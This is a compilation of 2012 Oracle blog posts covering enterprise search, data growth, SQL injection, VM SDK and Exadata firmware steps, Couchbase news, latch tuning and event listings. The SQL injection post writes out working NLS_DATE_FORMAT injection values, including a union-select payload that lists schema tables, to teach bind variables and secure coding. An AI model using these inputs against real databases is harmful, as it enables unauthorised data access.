I shudder at the thought of how much time I have wasted searching for information during my professional career. I would bet that the number of keywords and keyword combinations I have used to search network file shares, local drives, email, and enterprise content management (ECM) systems numbers in the hundreds. And as I think about how many of my searches resulted in me finding the information I was looking for in the first place, I would guess around a 70% success rate. For the other 30%, I would end up either re-creating content that already existed, emailing colleagues asking them if they knew where “high value content item A” could be found, or many times I would just simply give up and move on to my next work task that did not require ancillary information to complete.

My enterprise search experiences probably aren’t much unlike yours, and even if they are, I think we can all agree that time any time wasted searching for information in our organizations leads to increased costs, reduced knowledge sharing, and frustrated employees. And frankly, employees like me are frustrated because we aren’t always sure what system has the information we need. Industry statistics suggest that most large organizations have at least two content repositories and Gartner has even suggested 66% of enterprise have more than six. So it is really no wonder that up to 25% of a knowledge workers time is spent searching for information because they don’t know where to find it or the system they think has it doesn’t. Content management users that cannot find the information they need from those systems will quickly abandon them and instead choose to store and retrieve content from file shares or local drives. This only perpetuates the growth of repositories within organizations further increasing costs, decreasing knowledge sharing and frustrating employees even more.

Eliminating most of the above issues can be achieved by providing ECM users with search capabilities that provide the ability to search multiple repositories and return highly relevant, categorized results. The Google Search Appliance (GSA) offers out-of-the-box capabilities to search files systems and websites and return results through the familiar Google interface. Fishbowl Solutions has leveraged the capabilities of the GSA and extended them to WebCenter Content users through their GSA Connector for WebCenter. With Version 2.0 of this connector, WebCenter users are provided with a search template that can be configured to enable searches for not only WebCenter Content, but also content in SharePoint sites, file shares, as well as blog and wiki articles – All directly from WebCenter Content. This effectively provides WebCenter Content users with an enterprise search system within the context of their WebCenter user interface. For more information on Fishbowl’s GSA Connector Version 2.0 for Oracle WebCenter Content, please click on the following links:

Press Release: Fishbowl Solutions Releases Version 2.0 of their Google Search Appliance Connector for Oracle WebCenter Content

Demo Viewlet (9 minutes)

Product Brochure

Case Study: Fairview Health Services

Filed under: 11g, Content Management, Enterprise Search, UCM, WebCenter

Big Data...

kurtvm — Thu, 02 Feb 2012 21:01:46 +0100
I'll be doing a web seminar on Big Data on February 16th at 10am Pacific Time. Here is the info:

Big Data Essentials: What You Need to Know, February 16th, 10:00 am – 1:30 pm PT

Big data is big news these days. But you don’t base IT investment decisions on magazine headlines.

Join us for the Big Data Online Forum to learn the essentials of big data—from the technology underlying it to real-world use cases. Oracle’s Tom Kyte, Cloudera CEO Mike Olson, and other industry thought leaders will be on hand to explain how big data can deliver revolutionary insight and competitive advantage.

You’ll get answers to tough questions surrounding big data, including:

What business insight can big data uncover?
How do you manage big data?
How do you integrate big data into decision-making?

Register today for this half-day online event featuring live Q&A with big data experts.

www.oracle.com/goto/bigdata

Don’t make plans, make options

kurtvm — Thu, 02 Feb 2012 20:50:57 +0100

An old Chinese proverb says: “When planning for a year, plant corn. When planning for a decade, plant trees. When planning for life, train and educate people.”

When new IT applications are created, how often does someone plan about the future of the data? Its growth, reorganization, what is being logged, how often unnecessary data is purged and deleted; what is being audited and how? I guess we all know the answer. Here is a picture from The Data Affordability GAP Widens – Year by Year

Building the Knowledge! That is the starting point. Andy Flower, the president of IOUG, wrote an excellent article in the January/February 2012 issue of Oracle Magazine entitled “Building the Knowledgebase”.

Andy Flower says: “30 percent of organizations have seen data grow at an annual rate of more than 25 percent, with 10 percent seeing greater than 50 percent growth. 27 percent of respondents currently have more than 100 TB of data. Nearly 1 out of 10 sites now has data stores in the petabyte range.”

1. Unnecessary data is seldom deleted, purged or archived. I have often (rather quite often) seen databases where less that 10% of the data stored is used on daily basis. Oracle AWR reports can provide you excellent information where the physical and logical reads come from and with what percentage. Here is a simple example:

2. Databases often get fragmented, and they need regular reorganization. An interesting example is a global database which was 7TB in size (now bigger I guess) with real data less than 1TB. If that’s not a classical example of database fragmentation, then please give me a better one. Datafiles had so much white space! You may use this query to check for datafile fragmentation:

set lines 256 set pages 999 col "File Name" for A47 column file_name format a40; column highwater format 9999999999; SELECT /*+ RULE */ df.File_id, Substr(df.file_name,1,47) "File Name", Round(df.bytes/1024/1024,2) "Size (M)", Round(e.used_bytes/1024/1024) "Used (M)", Round(f.free_bytes/1024/1024) "Free (M)", round((b.maximum+c.blocks-1)*d.db_block_size/(1024*1024)) "HWM (M)" FROM dba_data_files df, (SELECT file_id, Sum(Decode(bytes,NULL,0,bytes)) used_bytes FROM dba_extents GROUP by file_id) e, (SELECT Max(bytes) free_bytes, file_id FROM dba_free_space GROUP BY file_id) f, (SELECT file_id, max(block_id) maximum from dba_extents group by file_id) b, dba_extents c, (SELECT value db_block_size from v$parameter where name='db_block_size') d WHERE e.file_id (+) = df.file_id AND df.file_id = f.file_id (+) AND df.file_id = b.file_id and c.file_id = b.file_id and c.block_id = b.maximum ORDER BY df.tablespace_name, df.file_name /

I am sorry about the RULE hint but it really runs faster with RBO.

Two key benefits of regular database reorganization are:

- better performance as data and indexes are spread over less blocks and thus less I/O and CPU are needed to access the data (and less memory of course)
- backups take less time and occupy less storage and tape (accordingly restore & recovery will be faster)

3. Databases are copied one-to-one from environment to another when data refresh is needed. Just like that. Copy and Paste. Not really, but often with the RMAN’s command “duplicate target database to ..” Have a look at what Oracle has to offer these days: the Oracle Test Data Management Pack for Oracle and non-Oracle Databases. The key benefits of the pack are:

- Reduce application storage costs dramatically through data subsetting
- Increase developer productivity through right-sized production copies
- Eliminate labor-intensive error-prone manual process to create test systems by automating application discovery, data relationship modeling, dynamic subset rules and parameter-driven execution

One really doesn’t need all the data from Production in the Development or the Test environment!

4. Data growth is often not monitored and seldom one knows which data can be deleted. I have just 3 words for this: “Oracle Cloud Control”.

A very detailed explanation of the problem is described by IBM in Control application data growth before it controls your business. Let me quote part of the executive summary:

“What are these effects? The most obvious are complexity and risk, along with storage and management costs. Data that has accumulated at a significant rate is highly distributed over multiple applications, databases and platforms creating complicated data relationships that are difficult to define, understand, control and house. Also, managing years of historical data in production databases can impact service levels and disaster recovery initiatives. Expanding online and batch processing windows, along with routine maintenance tasks, takes much more time and can reduce application availability significantly.”

Wonder why people started all of a sudden talk about Big Data?

Filed under: Database tuning, DBA, Oracle database

All about Security - SQL Injection

kurtvm — Thu, 02 Feb 2012 20:48:48 +0100
I recently did a web seminar on Oracle Database Security (you can see a replay of it here). We had over 1,300 live attendees (glad I couldn't see you all - that would be scary) and the feedback was pretty good.

We also received a few questions, well, actually - a lot of questions. I'm going to try to tackle them here bit by bit. I'm going to start with my favorite topic - questions centered around SQL Injection. I'll center on the core concepts around SQL Injection in this article and then do a followup article regarding the Oracle Database Firewall - a tool useful for detecting and blocking SQL Injection attacks.

During the presentation - I talked about how insidious SQL Injection is - and how hard it can be to detect. In fact, I've written about this before, in this article. The interesting thing about that article on injecting is the very last part of it, the section on "selective system grants". If you read that small section you'll see a comment "Note: Revised contentto prevent SQL injection for this procedure submitted by Roy Jorgensen.". What that means is - the original article I submitted had a SQL Injection bug in it - right after I just spent pages going over SQL Injection! That wasn't too embarrassing was it (it was). But it does point out how easy it is for a SQL Injection bug to sneak into code - even when the coder knows full well what SQL Injection is and how it happens!

Anyway, during the web seminar I talked about a slide I use - with a full stored procedure on it - that contains a SQL Injection bug. I ask the audience, usually full of developers and DBAs to tell me how the code can be SQL Injected.. I tell them right out - this code can be injected and if I were to put it in my schema and grant you execute on it - you could use this to read pretty much any table I own.

I usually hear crickets at this point in time, no hands, no volunteers. Here is the slide:

Note that the input to this procedure is a binary Oracle date - it is fixed length, 7 bytes of data - the century, year, month, day, hour, minute and second. The input is not a string, the input cannot contain things like "or 1=1" - typical SQL Injection attack strings. It can only contain an Oracle date. So - the question is - how can I 'trick' this stored procedure into showing me anything I want to see in the schema that owns the procedure (thus bypassing any and all security the application tier might have put in place - there are no restrictions on what I can and cannot see now).

Before we get there - let's talk about the bit of code that will be problematic - that is line 10. As noted there is a double implicit conversion going on there. That line of code is really:

Where created = to_date( to_char( p_date ) );

There is an implicit to_char on the date field in order to concatenate it to the query string. Then, at runtime there is an implicit to_date on the string we concatenated in so we can compare it to a date. This is a very common thing I see in code all of the time (implicit conversions) - but it is pure evil. Not only will we discover it is the cause of a SQL Injection issue - but here it is a logic bomb as well.
First of all - by default - that to_date( to_char() ) conversion will have a side effect of effectively truncating the time component from the date field. That is evil. If you wanted to truncate the time off - please use TRUNC() on the date - it is much faster, more efficient, and expresses clearly that you intend to truncate the time component. To_date(to_char()) does none of that. Secondly - the conversion by default will also lose the century. If you were trying to look for things created during the war of 1812 - you would lose, you cannot search for 1812 - it would become 2012 (well, right now as I write this it would be 2012 - in 38 years it will become 2112 and you won't be able to search for 2012 anymore...).

Also consider that I said "by default". By default the NLS_DATE_FORMAT is DD-MON-RR (currrently, it has been different in the past!). What happens to this code when someone decides to change it? Your application might well start querying up entirely different data!
So, the implicit conversion by itself is bad - but the real issue is the SQL Injection flaw. If you just run this procedure, by default - it certainly looks OK:
ops$tkyte%ORA11GR2> exec inj( sysdate )
select * from all_users where created = '02-FEB-12'
PL/SQL procedure successfully completed.
that looks OK - seems pretty safe - until, until someone who has read the documentation comes along. They might run your code like this:
ops$tkyte%ORA11GR2> alter session set 2 nls_date_format = 'dd-mon-yyyy"'' or ''a'' = ''a"';
Session altered.ops$tkyte%ORA11GR2> exec inj( sysdate )
select * from all_users where created = '02-feb-2012' or 'a' = 'a'A.....EBRAPP.....EBRTBLS.....UTIL.....USER2.....
PL/SQL procedure successfully completed.
Now that is surprising, you might not even know you could do that in an NLS_DATE_FORMAT. It is really hard to protect against something you don't even know you can do - isn't it? I've had people look at that example and scoff at it - saying "so what, they were allowed to see that table". Ok, take it a step further, I'd like to know what tables you own - so I can start querying them. I'll just do this:
ops$tkyte%ORA11GR2> alter session set 2 nls_date_format = '"''union select tname,0,null from tab--"';Session altered.
ops$tkyte%ORA11GR2> exec inj( null )
Select * from all_users where created = ''union select tname,0,null from tab--'
....
Now you can see where this is going... I find one SQL Injection bug in one procedure and I've unlocked the entire schema.
So, the question now comes up - how do I protect myself from this? What can I do to ensure I'm not subject to SQL Injection in this code?
There are two ways - the hard way and the easy way.
The hard way involves writing code to validate everything and having serious code reviews of any code that uses string concatenation to build their SQL statements - any code that takes a parameter as input and concatenates it to a SQL query must be read and reviewed by many people - many people who will be super critical of the code. In this case, the resulting code would have to be:
where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'')';
You need to have a coding standard that says:
You shall never use implicit conversions ever, as in never.
You shall always use an explicit date mask with dates, as in every single time, you will not rely on defaults (because defaults can inject you and because defaults can radically modify your logic unintentionally!)
And now you have to comb through all of your code looking for these bad practices (you should anyway - you have major logic bombs just waiting to explode in your code if you rely on default NLS settings and implicit conversions).
The easy way however is the way to go. The easy way is - just use bind variables! If you use bind variables, you cannot be SQL Injected - this is true for PL/SQL, for Java, for any and all languages. If you use bind variables you cannot be SQL Injected - period. It is that simple, really and truly. If the code was:
7 l_query := ' 8 select * 9 from all_users 10 where created = :x'; 11 open c for l_query USING P_DATE;there is no way the end user can trick that SQL query into becoming anything other than what it is - in fact, for this example, the code should have been:
as cursor c is select * from all_users where created = p_date;begin open c; ...
and nothing more - it shouldn't have even been using dynamic SQL. In Java/C#/C++/etc - you would be using dynamic SQL and you should be using bind variables. So, that answered all of these questions I received:
• where can I find an illustration of SQL injection?• can u share the sql injection demo code• Can you share that SQL injection slide?• Can you show a code example of the SQL injection bug that nobody noticed during your presentations?• Can you show us or point us to the site of the example of SQL injection bug?• Is SQL injection all about binding, or is there more?
Another question was:
• should application layer deal with the SQL injection attacks prevention as that layer understands what the proper data access patterns look like rather then database?
My response to that is - the application layer should definitely be aware of SQL Injection and use secure coding practices which would include:
always use a bind variable unless you have an excellent technical reason not to - and then you must submit your code for review to at least five people who do not like you - they must be motivated to rip your code apart, critically review it, make fun of it - so they find the bugs.
However - we need to also employ defense in depth - for when the inevitable bug slips through. When I next write about this - I'll be going over the Oracle Database Firewall - a tool that can provide at least one more layer of defense.
The last question on this topic was:
• What is the dbms_assert PL/SQL package? How does it help prevent SQL injection? Should my organization be using it?
For that - I'll just forward you onto an excellent paper on this subject written by Bryn Llewellyn. You can find that paper here.

Using Oracle VM Server 3.0.3 SDK

kurtvm — Thu, 02 Feb 2012 18:59:38 +0100

We released the Oracle VM Server 3.0.3 SDK which is delivered as Oracle VM Templates. The Oracle VM Server SDK Template provides an environment for third party drivers to be built for the Oracle VM Server for x86. This environment is being provided because the Oracle VM dom0 (management domain) only contains a minimum set of packages, and it does not provide the additional development packages needed for building modules.

With the Oracle VM Server SDK, you can easily build a device driver for Oracle VM Server 3.0.3:

1) Set up a running Oracle VM environment including Oracle VM Manager 3.0 and Oracle VM Server 3.0. Refer to Oracle VM Documentation for additional details.

2) Download Oracle VM Server 3.0 SDK from Oracle Software Delivery Cloud. Select "Oracle VM Templates" from the "Select a Product Pack" pull-down menu, and choose "x86 64bit". Then locate the Oracle VM Server 3.0.3 SDK. Be sure to read the README.

3) Import the Oracle VM Template for Oracle VM Server 3.0.3 SDK from Oracle VM Manager, and clone the VM from the imported template. Refer to the documentation: Managing Virtual Machines for specific instructions of importing the template and cloning a VM from the template.

4) Start the VM - connecting to VM console and provide the network setting (DHCP or static IP, hostname, etc).

5) Log into the VM, download the driver and uncompress the driver source files. Then you are ready to build the driver for Oracle VM Server.

Note that Oracle provides support for third party drivers which have been developed by partners in the Oracle Partner Network. For drivers compiled by customers or partners using the SDK but that are not a part of the Oracle Partner Network, Oracle will provide a "reasonable effort" level of support as described by Oracle's "un-certified configuration" support policy. However, Oracle does not provide updates for any drivers built for Oracle VM Servers that have not been distributed by the Unbreakable Linux Network. To become an Oracle Partner, please refer to the page of Oracle VM Knowledge Zone for Partners.

Viewing Figures

kurtvm — Thu, 02 Feb 2012 16:45:41 +0100

It’s time for another landmark. The blog has just hit 2,500,000 views (taking three weeks less than the previous half million increment) – here’s a little breakdown on the numbers.

First the top five across the lifetime of the blog:

AWR / Statspack menu 40,714 Updated from time to time

NOT IN 33,983 Feb 2007

Cartesian Merge Join 29,633 Dec 2006

dbms_xplan in 10g 28,831 Dec 2006

SQL Profiles (10g) 21,227 Feb 2007

If we look at just the last year, the top five are:

AWR / Statspack menu 18,782 Updated from time to time

NOT IN 8,916 Feb 2007

dbms_xplan in 10g 6,212 Dec 2006

Oracle Core 6,181 Dec 2011

Analysing Statspack (1) 5,924 Nov 2006

The Cartesian Merge Join has finally been pushed off the top 5 in recent history, but perhaps that’s only a temporary effect while the Addenda to Oracle Core is still fresh in people’s minds. It’s interesting to see how many old articles are still popular reading, though.

The other statistic of note is the number of followers the blog has, currently: 828

While we’re looking at numbers and success stories for the 12 months – the UKOUG annual conference reviews have just come in, and one of mine managed to score 5.83 out of 6 for “Presentation Skills” and 5.65 for content – with one commentator saying:

“Jonathan Lewis is a legend in Oracle circles and now, after my first session with him as speaker, I know why! This was a really well-thought out talk with loads of great ideas and info. My only criticism is that I’d like to attend it again to pick up the bits I missed the first time!”

Don’t worry – it was the one about “Beating the Oracle Optimizer”, 60 minutes featuring seven different strategies for optimising a two-table join, and I’ll be presenting it at least a couple more times in the UK (probably 27th March and 13th June in Manchester and Linlithgow).

I also won two the of UKOUG’s “Inspiring Presenter” awards this year. Not sure I’ll be able to do that again next year since Connor McDonald was in town this year – if you ever get a chance to hear him, make sure you don’t miss it.

E-Business Suite and APEX integration (overview)

kurtvm — Thu, 02 Feb 2012 12:41:02 +0100
For me there are two main use cases to integrate Oracle E-Business Suite (EBS) with Oracle Application Express (APEX):

In my APEX application I want to include/integrate data that exist in EBS
e.g. I want to include my employees that are in EBS HR

The EBS application needs to be customised and I use APEX to do that
e.g. I want to show a calendar with the birthdays of my employees
or I want a chart about the different age categories in my company
or I want to bulk update some information and there is no screen to do that

In both cases you want things to go seamlessly, you shouldn't be aware that you go from one technology to another. APEX and EBS data are in the Oracle database, so accessing data is not a big issue. Updating data in EBS you need to be careful with, as directly updating data through tables is not allowed (supported).

When I was reviewing ways to retrieve data from EBS and create/update/delete data in EBS from APEX I found a couple of methods that are interesting to explore further:

Retrieve data from EBS Update data in EBS
1. Views X
2. APIs X X
3. OITs (Open Interface Tables)
X
4. Webservices (incl. BPEL/SOA) X X

There are other ways to integrate or interface with EBS e.g. through EDI (Electronic Data Interchange) and EAI (Enterprise Application Integration), but from an APEX perspective the above four seemed to me the most interesting ones to explore further. In my next posts I will dig into integrating APEX and EBS with the above techniques.

References to interesting readings:
Oracle Integration Repository
Oracle Release 12.1 Documentation Library (see Integration)
Oracle Apps Epicenter Blog

Previous related posts:
E-Business Suite and APEX installation
APEX and E-Business Suite integration (OBUG event)

Google Connect is dead, long live the Google+ badge…

kurtvm — Thu, 02 Feb 2012 11:56:52 +0100

The Google Friend Connect badge I’ve been displaying on my website homepage and this blog is no more. Google have canned that widget. Instead it’s been replaced by a Google+ badge. Unfortunately, the G+ badges currently only support Google+ pages, so I can’t connect it to my regular G+ profile, only the ORACLE-BASE.com G+ page. Not ideal, but that’s the way it goes.

Currently, the G+ badge options are not particularly WordPress widget friendly. Even the small option is a bit wider than the width of the sidebar on my blog theme.

I’m not planning on double-posting, so feel free to connect to both profiles if you like. You won’t get everything twice. For the time being, my regular G+ profile is what I’ll be using and the ORACLE-BASE.com G+ page is really only present to support the badge for those people who like to show the site some love.

Cheers

Tim…

Upgrading/Downgrading Exadata iLOM firmware

kurtvm — Thu, 02 Feb 2012 11:55:52 +0100

This post is not really Exadata specific, really it applies to any use of the Sun X4170 series of hardwre. And it definitely seems a long way from being a traditional DBA task. As I’ve had to perform this task a number of times recently I thought I’d document it here.

There are actually a number of ways of doing it, but finding and navigating the documentation can be challenging. The way I have performed and iLOM upgrade (or downgrade) has been to use the web interface. It can be done via the command line, but the web interface has worked well for me.

The software for the iLOM can be found in the software distribution, but you have to do some digging as it is contained within the dbw.tbz tar ball, which itself is found in the image_version.tbz file which is under the db_patch_version directory. What you need is something of the form:

[root@db01] tar xvf 11.2.2.4.2.111221.tbz opt/oracle.cellos/iso/cellbits/dbfw.tbz [root@db01] tar xvf dbfw.tbz ActualFirmwareFiles/ILOM-3_0_9_19_e_r66106-Sun_Fire_X4170_X4270_X4275.pkg

This extracts just your iLOM pkg file.

So with your .pkg to hand, fire your web browser at the iLOM you want to upgrade and then choose Maintenance:

Obviously you click the upgrade Firmware Upgrade tab and then the Enter Upgrade Mode:

You now choose your iLOM pkg file and press the Upload button. This takes you to the following type of screen:

Where you can see you current version and what version you are going to upgrade/downgrade to. Once you hit the Start Upgrade button You are taken to a screen that shows the progress of the loading of the new firmware.

All very straightforward.

However, Oracle advise to follow MOS: 1327022.1 which has the following command line steps:

Check the pkg file is the version you want:

# cd /opt/oracle.cellos/iso/cellbits # tar -tf dbfw.tbz

Now Check your current Firmware version:

# /opt/oracle.cellos/CheckHWnFWProfile -d [SystemModel] SUN FIRE X4170 SERVER [BIOSVendor] American Megatrends Inc. [BIOSVersion] 07060232 [BIOSDate] 07/25/2011 [ProcessorInformation] Cores:16 Intel(R) Xeon(R) E5540 2.53GHz [ILOMVersion] 3.0.9.19.e r66106 [PhysicalMemoryGB] 72 [DiskControllerPCIeSlotNumber] PCI-E Slot 0 [DiskControllerModel] LSI MegaRAID SAS 9261-8i [DiskControllerFirmwareRevision] 12.12.0-0048 [InfinibandHCAPCIeSlotNumber] PCI-E Slot 2 [InfinibandHCAPCIeSlotWidth] x8 [InfinibandHCADeviceID] 26428 [InfinibandHCAChipRevision] A0 [InfinibandHCAImageType] ConnectX [InfinibandHCAFirmwareVersion] 2.7.0 [SASBackplaneFirmwareVersion] NotApplicable [DiskControllerPCIeSlotWidth] x8 [InfinibandHCAHardwareRev] 50 [LightsOutFirmwareVersion] Firmware Revision : 3.0 [Powersupplies] PS0 and PS1 ok [Enclosure:Slot:DiskType:DiskMake:DiskModel:MinFwVersion] ALL:ALL SAS HITACHI H103014SCSUN146G A2A8

The above output is from a V2 running 11.2.2.4.2.

Finally you can upgrade the firmware with the following:

# /opt/oracle.cellos/CheckHWnFWProfile -U /opt/oracle.cellos/iso/cellbits

After this is complete, check your version again. The iLOM upgrades seem straightforward and in isolation I’ve not encountered any issues with them. However during upgrades the iLOM is also upgraded automatically, and I have encountered issues with this – but that is for another blog entry!

Couchbase update

kurtvm — Thu, 02 Feb 2012 05:00:24 +0100

I checked in with James Phillips for a Couchbase update, and I understand better what’s going on. In particular:

Give or take minor tweaks, what I wrote in my August, 2010 Couchbase updates still applies.

Couchbase now and for the foreseeable future has one product line, called Couchbase.

Couchbase 2.0, the first version of Couchbase (the product) to use CouchDB for persistence, has slipped …

… because more parts of CouchDB had to be rewritten for performance than Couchbase (the company) had hoped.

Think mid-year or so for the release of Couchbase 2.0, hopefully sooner.

In connection with the need to rewrite parts of CouchDB, Couchbase has:

Gotten out of the single-server CouchDB business.

Donated its proprietary single-sever CouchDB intellectual property to the Apache Foundation.

The 150ish new customers in 2011 Couchbase brags about are real, subscription customers.

Couchbase has 60ish people, headed to >100 over the next few months.

If you previously heard the brand names Couchbase Single or Couchbase Mobile, pay no further attention to them. Couchbase Single was CouchDB; Couchbase Mobile is part of Couchbase’s feature set.

The current product is Couchbase 1.8, which is a whole lot like what previously was called Membase. New features in Couchbase 1.8 (versus prior versions of Membase) were concentrated in client libraries/SDK (Software Development Kit). Not coincidentally, Couchbase has hired developer evangelists who are in charge of making Couchbase play nicely with various specific languages (e.g. C/C++)

Drilling down further into the CouchDB part of the story:

Couchbase 2.0 will replace Couchbase 1.8/Membase’s SQLite back-end with CouchDB.

Parts of CouchDB that do things like read, write, or compact data have been rewritten from Erlang to C.

Couchbase still uses other Erlang parts of Apache CouchDB, and would be delighted if the community were to usefully enhance them.

Couchbase’s heavy contributions to development of open source CouchDB will, for the most part, continue.

CouchDB stuff donated to the Apache Foundation includes:

Documentation

Packaging

Performance enhancements

There’s at least one Couchbase user with >1000 nodes (at a guess, Zynga). More typical might be 20 nodes or less. This led me to wonder how much data one puts on a Couchbase node anyway. The answer turns out to vary widely, in that you want your working set to be in RAM, and whether that’s your entire database or just a slice of it depends on the nature of the application.

James echoed a trend I’ve heard elsewhere as well, in which products one things of as being internet-specific are also sold in a few cases to conventional enterprises for — you guessed it! — their internet operations. I also asked him about competition, and he asserted:

MongoDB is the big competition. He believes Couchbase has an excellent win rate vs. 10gen for actual paying accounts.

DataStax/Cassandra wins over Couchbase only when multi-data-center capability is important. Naturally, multi-data-center capability is planned for Couchbase. (Indeed, that’s one of the benefits of swapping in CouchDB at the back end.)

Redis has “dropped off the radar”, presumably because there’s no particular persistence strategy for it.

Riak doesn’t show up much.

Oracle Priority Service Infogram for 01-FEB-2012

kurtvm — Thu, 02 Feb 2012 03:06:00 +0100
Important Security Announcement

Oracle Security Alert for CVE-2011-5035 was released on January 31st, 2012.

Oracle strongly recommends applying Security Alert fixes as soon as possible.

The Security Alert Advisory is the starting point for relevant information. It includes the list of products affected, a summary of the security vulnerability, and a pointer to obtain the latest patches. Supported products that are not listed in the "Affected Products and Versions" section of the advisory do not require new patches to be applied.

Also, it is essential to review the Security Alert supporting documentation referenced in the Advisory before applying patches, as this is where you can find important pertinent information.

The Advisory is available at the following location:

Oracle Critical Patch Updates and Security Alerts

Oracle Security Alert CVE-2011-5035
MySQL

MySQL storage engines confusing you? You're probably not alone. Hopefully this spot the MySQL team tweeted from the documentation will clear up the fog between the NDB and InnoDB engines: 16.1.5.1. Differences Between the NDB and InnoDB Storage Engines.
Migrations

No, not geese, systems. The Reckless Logic blog points out a posting at Technet on How Dell Migrated 1700 Servers to Oracle Linux.
Performance

Jonathan Lewis shows us how evaluating bug documentation can produce more than just keeping up with bugs in this posting on Subquery Factoring.
RAC

The Oracle Instructor looks into how to Monitor RAC I/O with gv$iostat_function.
RDBMS

The AskDba.org Weblog promises to keep adding to this posting as they discover new problems, which makes it worth following on your RSS reader. They discuss 11gR2:Listener Startup Issues, giving us the first three problem causers to check for if you have problems bringing up the listener.
The Rulegen blog relates some interesting investigations they made on Statement-level constraint validation: MERGE + MTI while working on their product.
EMC and Oracle

Kevin Closson's Blog: Platforms, Databases and Storage has a very good resource to share: EMC Oracle-Related Reading Material of Interest.

Latch: row cache objects, session_cached_cursors and a database link

kurtvm — Thu, 02 Feb 2012 02:08:53 +0100
What could possibly be common about the above things?

Sometime ago I was involved in tuning a large scale production system which experienced quite a lot of latch contention. In fact the contention was bad enough as to render the entire system unusable during peak hours.

A typical AWR report during times with moderate workload looked like this:

Event Waits Time(s) Avg wait (ms) % DB time Wait Class DB CPU 21,805 36.95 latch: row cache objects 14,524,462 11,552 1 19.57 Concurrency db file sequential read 2,697,778 8,988 3 15.23 User I/O gc current block 3-way 4,202,356 3,599 1 6.10 Cluster gc current block 2-way 3,670,293 2,330 1 3.95 Cluster
(in reality it was a 7-node RAC cluster but it is not really relevant to our subject).

It is not hard to spot latch: row cache objects on a second place consuming almost 20% of DB time. This event was rapidly escalating whether load increased quickly bringing the entire cluster into unusable state as far as any front-end application were concerned. The total number of gets during an hour (the interval with which this particular AWR report had been made) totaled 1,281,167,103 which averages a whopping 355,879 gets per second!

The first step was to take a look at the Dictionary Cache statistics and see if there were any obvious deviations:
Cache Get Requests Pct Miss dc_awr_control 72 9.72 dc_database_links 124,452 0.05 dc_files 46,900 17.14 dc_global_oids 555,599 0.07 dc_histogram_data 8,962,576 1.01 dc_histogram_defs 412,885,094 0.02 dc_object_grants 52,475 1.13 dc_objects 2,860,222 0.64 dc_profiles 61,189 0.01 dc_rollback_segments 392,885 0.00 dc_segments 657,653 7.72 dc_sequences 1,324 67.67 dc_table_scns 3,206 3.31 dc_tablespaces 1,253,322 0.06 dc_users 5,475,824 0.02 global database name 65,092 0.01 kqlsubheap_object 10,910 0.46 outstanding_alerts 721 95.98
dc_histogram_defs really stands out but so far provides no direct clues. Though the entire dictionary cache seems to be quite busy. Let's take a look at instance activity statistics:
Per Second Per Transaction Per Exec Per Call DB Time(s): 16.4 0.5 0.00 0.00 DB CPU(s): 6.1 0.2 0.00 0.00 Redo size: 87,543.5 2,398.6 Logical reads: 336,555.7 9,221.2 Block changes: 449.3 12.3 Physical reads: 1,018.3 27.9 Physical writes: 36.8 1.0 User calls: 41,250.4 1,130.2 Parses: 6,264.4 171.6 Hard parses: 27.1 0.7 W/A MB processed: 33,769,202.4 925,233.0 Logons: 18.3 0.5 Executes: 14,230.5 389.9 Rollbacks: 3.4 0.1 Transactions: 36.5
A couple of things to notice:

The number of executions is not that high (at least for an IBM box with 56 CPU cores, that is).

Execute to Parse ratio is not particularly good nor bad (6,264.4 parses per second compared to 14,230.5 executions).

None of the above seems to be enough to justify 355,879 latch: row cache objects gets per second, even when you consider 27.1 hard parses/sec.

There had to be more going on. Looking at the SQL ordered by Parse Calls section of the report revealed that all the top parsing queries were coming from a database link. Which prompted me to ask additional questions...

It turned out that the system had a somewhat weird architecture. A 7-node RAC cluster served as a back end to a numerous front-end Oracle databases which were essentially acting as PL/SQL-engines, accessing all the data through the database link while dong all the processing. The architectural feasibility of such solution is debatable (to say the least) but let's not steer away from the main topic of our discussion.

I geared to find out whether there was some special case which could cause latch: row cache objects to shoot through the roof when we deal with a lot of queries executed through a database link. After a number of experiments I eventually found a cause which explains the title of this blog post.

Take a look at the following example:

SQL> declare 2 l_gets number; 3 begin 4 select gets into l_gets from v$latch@dblink where name='row cache objects'; 5 6 for i in 1 .. 1000 7 loop 8 for cur in (select null from dual@dblink) loop null; end loop; 9 end loop; 10 11 select sum(gets)-l_gets into l_gets from v$latch@dblink where name='row cache objects'; 12 dbms_output.put_line(to_char(l_gets)); 13 end; 14 / 79 PL/SQL procedure successfully completed
Accessing a remote table 1000 times through a database link only caused 79 row cache objects gets on the destination database. However, exactly the same example can produce quite a different result:

SQL> alter session set session_cached_cursors=0; Session altered SQL> SQL> declare 2 l_gets number; 3 begin 4 select gets into l_gets from v$latch@dblink where name='row cache objects'; 5 6 for i in 1 .. 1000 7 loop 8 for cur in (select null from dual@dblink) loop null; end loop; 9 end loop; 10 11 select sum(gets)-l_gets into l_gets from v$latch@dblink where name='row cache objects'; 12 dbms_output.put_line(to_char(l_gets)); 13 end; 14 / 3082 PL/SQL procedure successfully completed
Now we jumped from 79 gets to 3082 which is a 39x increase! What's really astonishing is the fact that it's a cursor cache miss on the source which wreaks havoc on the destination. Evidently, the solution to the problem had nothing to do with the database where the problem was observed. The "PL/SQL-databases" had an insufficient setting for session_cached_cursors and once that was corrected the issue disappeared.

It is somewhat ironic that that problem would have never appears had the data and PL/SQL be allowed to be kept in the same database (where they belong).

Feburary Events- IOUG regional events, TDWI, RSA and more

kurtvm — Thu, 02 Feb 2012 01:11:54 +0100
Normal 0 false false false EN-US X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:"Table Normal"; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority:99; mso-style-qformat:yes; mso-style-parent:""; mso-padding-alt:0in 5.4pt 0in 5.4pt; mso-para-margin:0in; mso-para-margin-bottom:.0001pt; mso-pagination:widow-orphan; font-size:11.0pt; font-family:"Calibri","sans-serif"; mso-ascii-font-family:Calibri; mso-ascii-theme-font:minor-latin; mso-fareast-font-family:"Times New Roman"; mso-fareast-theme-font:minor-fareast; mso-hansi-font-family:Calibri; mso-hansi-theme-font:minor-latin; mso-bidi-font-family:"Times New Roman"; mso-bidi-theme-font:minor-bidi;}
Join Oracle at your local IOUG event this Feb, there are many of them. Also, we’ll be participating in Data Warehousing, Database Security and Big Data events, read on to find out more.

Feb 12-17, 2012 – Las Vegas, NV

TDWI World Conference Series

Join Oracle and learn how Oracle’s solution for Data Integration and Big Data continues to set the standard for information integration architectures.

Bridging the Big Data Divide with Oracle Data Integration

Wednesday, February 15, 2012 7p.m

Denis Gray, Principal Product Manager, Data Integration

